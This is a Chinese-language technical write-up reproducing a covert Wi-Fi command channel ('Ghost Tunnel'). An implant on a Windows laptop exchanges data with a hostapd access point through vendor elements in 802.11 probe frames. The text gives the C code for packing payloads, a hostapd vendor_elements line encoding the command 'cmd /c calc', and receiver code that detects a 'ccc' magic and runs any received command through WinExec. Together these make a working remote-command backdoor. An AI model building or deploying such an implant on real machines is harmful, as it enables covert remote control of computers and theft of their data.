通过文章我们知道,实现这种攻击需要满足一下条件:
- 需要在目标机中植入客户端程序,用以接收指令和发送目标机信息到控制端,植入方式可以为远程植入、现场植入;
- 目标机需要具备无线网络适配器,一般笔记本是自带无线网卡的,其它情况可以插入USB无线网卡实现;
- 目标机发送数据利用的是Probe Request帧实现,将待发送的数据附加到Probe Request帧中,封装成有效载荷并发送;
- 目标机接收数据利用的是Probe Response帧实现,以同样的方式附加有效载荷到Probe Response帧中;
实践平台环境:
目标机:IBM 笔记本 windows 7 x64系统
控制机:Ubuntu x64系统
控制端程序:hostapd
根据相关文档介绍,有效载荷的数据存储结构如下:
Element ID | Payload Length | Payload |
1 byte | 1 byte | 0-240 |
#include <PshPack1.h>
struct ie_data
{
unsigned char id;
unsigned char len;
unsigned char val[1];
};
#include <PopPack.h>
数据结构要1字节对齐。
在windows平台,发送、接收数据用到的API主要有一下几个:
WlanEnumInterfaces
WlanScan
WlanGetNetworkBssList
这里贴出封装发送Payload的主要代码:
struct ie_data *piedata = NULL;
int response_len = 0;
char *response = NULL;
response_len = sizeof(WLAN_RAW_DATA) -1 + sizeof(struct ie_data) -1 + len;
response = (char *)malloc(response_len);
memset(response, '\0', response_len);
pwlan_data = (PWLAN_RAW_DATA)response;
pwlan_data->dwDataSize = sizeof(struct ie_data) - 1 + len;
piedata = (struct ie_data *)&pwlan_data->DataBlob[0];
piedata->id = (char)221;
piedata->len = len;
memcpy(&piedata->val[0], buf, len);
这里的221(0xDD)根据MSDN文档介绍设置,buf为需要发送的数据(最大长度240字节),len为数据长度;将封装好的payload附加到Probe Request帧的最后发送出去,通过wireshark抓包来查看发送的情况,如下图所示:
主控端为使用hostapd创建的一个AP热点,AP热点的SSID为ghosttunnel,所以这里的SSID为ghosttunnel,发送的内容为“command ok.”
主控端发送数据(指令)可以通过hostapd配置文件中的vendor_elements字段来实现:
vendor_elements=dd0e636363636d64202f632063616c63
其中dd为Element ID,0e为Payload的长度,636363636d64202f632063616c63为发送的指令字符串的十六进制形式,实际字符串为:"ccccmd /c calc",该指令字符串前面之所以有“ccc”,是以此作为一个简单的magic,在接收指令时通过该“magic”判断是否为主控端发送的指令,也可通过其它内容作为magic,看具体实现。
下图是通过wireshark抓包到的控制端发送的Probe Response帧数据,从中可以清晰的看到发送的指令:
这里贴出接收Probe Response帧并解析出指令的代码,我们需要从多个Tag中解析出含有指令的Tag项:
if (stricmp((char *)bss_entry->dot11Ssid.ucSSID, "ghosttunnel") == 0)
{
char *pp = (char *)((unsigned long)bss_entry + bss_entry->ulIeOffset);
int total_size = bss_entry->ulIeSize;
for (;;)
{
ie = (struct ie_data *)pp;
if ((int)ie->id == 221)
{
// eg. "ccccmd /c calc"
char *magic = (char *)&ie->val[0];
if (strncmp(magic, "ccc", 3) == 0)
{
char command[240] = {0};
strncpy(command, magic + 3, ie->len - 3);
WinExec(command, SW_NORMAL);
break;
}
}
pp += sizeof(struct ie_data) - 1 + (int)ie->len;
total_size -= sizeof(struct ie_data) - 1 + (int)ie->len;
if (!total_size)
{
break; // over
}
}
}
通过一个循环从Probe Response帧中找到Payload的数据并执行指令。